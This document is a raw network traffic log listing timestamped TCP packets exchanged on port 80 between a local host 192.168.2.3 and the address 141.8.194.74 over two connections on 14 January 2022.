Jan 14, 2022 02:05:28.308412075 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308448076 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308459044 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308487892 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308526039 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308532000 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308566093 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308605909 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308609009 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308644056 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308684111 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308689117 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308722973 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308758974 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308770895 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308809996 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308849096 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308856964 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308886051 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308924913 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.308928967 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.308962107 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309012890 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309015989 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.309052944 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309089899 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309096098 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.309129000 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309168100 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309171915 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.309204102 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309243917 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309256077 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.309283018 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309319019 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309328079 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.309356928 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309393883 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309400082 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.309433937 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309474945 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309478045 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.309510946 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.309554100 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.373462915 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373517990 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373558998 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373579979 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.373595953 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373636007 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373653889 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.373677969 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373716116 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373734951 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.373754025 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373794079 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373800039 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.373833895 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373877048 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.373897076 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373936892 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373975039 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.373986006 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374013901 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374053001 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374064922 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374090910 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374130011 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374140978 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374167919 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374207020 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374208927 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374245882 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374283075 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374286890 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374321938 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374361038 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374365091 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374397993 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374437094 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374443054 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374475956 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374514103 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374526024 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374553919 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374591112 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374600887 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374628067 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374665976 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374685049 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374702930 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374741077 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374747038 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374778986 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374816895 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374816895 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374855995 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374892950 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374898911 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.374933004 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.374975920 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.384497881 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.384543896 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.384579897 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.384610891 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.384628057 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.384644985 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.384655952 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.384680033 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.384711027 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.384726048 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.384737015 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.384782076 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.384938002 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.459914923 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.460041046 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.699363947 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.772592068 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.772685051 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.772910118 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.846052885 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.846349955 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.846374035 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.846396923 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.846420050 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.846443892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.846467018 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.846491098 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.846539974 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.846564054 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.846586943 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.846949100 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.920367002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920402050 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920423031 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920440912 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920455933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920481920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920495033 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920509100 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920521021 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920532942 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920545101 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920569897 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920578003 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.920592070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920619011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920629978 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.920644999 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920658112 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.920669079 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920692921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920711994 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.920716047 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920739889 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.920757055 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.993926048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.993957043 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.993980885 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994004965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994026899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994050980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994050980 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994071960 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994088888 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994096994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994096994 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994123936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994129896 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994152069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994174957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994193077 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994199038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994223118 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994225025 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994246960 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994268894 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994270086 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994296074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994318008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994321108 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994340897 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994362116 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994364977 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994388103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994410038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994415998 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994435072 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994457960 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994461060 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994513988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994520903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994540930 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994563103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994585037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994599104 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994637012 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994677067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994704008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994728088 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994750023 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994754076 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994771004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994793892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994807005 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994817972 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994842052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994853020 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:30.994863987 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:30.994894981 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.067730904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.067760944 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.067787886 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.067811966 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.067837000 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.067858934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.067882061 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.067931890 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.067956924 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.067981005 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.067977905 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068001986 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068026066 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068048954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068073034 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068098068 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068120956 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068144083 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068166971 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068191051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068208933 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068216085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068219900 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068239927 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068264008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068289042 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068308115 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068315029 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068337917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068360090 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068383932 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068399906 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068406105 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068407059 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068412066 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068427086 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068439007 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068444014 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068449020 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068451881 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068454027 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068475962 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068484068 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068490028 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068495989 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068500996 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068501949 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068523884 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068536043 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068547010 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068569899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068593025 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068613052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068634987 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068656921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068675041 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068679094 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068701982 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068707943 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068715096 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068721056 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068726063 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068726063 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068748951 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068762064 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068773031 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068794966 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068808079 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.068815947 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.068865061 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.111938953 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142116070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142143011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142167091 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142190933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142214060 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142237902 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142237902 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142261982 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142287970 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142288923 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142312050 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142335892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142338991 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142359972 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142374039 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142381907 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142405987 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142427921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142431021 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142452002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142476082 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142486095 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142498970 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142522097 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142821074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142846107 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142868042 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142889977 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142896891 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142910957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142935038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142946005 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142951965 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142956972 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.142957926 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.142983913 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143004894 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143017054 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.143028975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143052101 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143071890 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143074036 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.143094063 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143109083 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.143117905 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143134117 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.143141031 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143165112 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143188000 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143193960 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.143209934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143232107 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143235922 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.143254042 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143277884 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.143279076 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143302917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143325090 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143328905 CET	49901	80	192.168.2.3	141.8.194.74
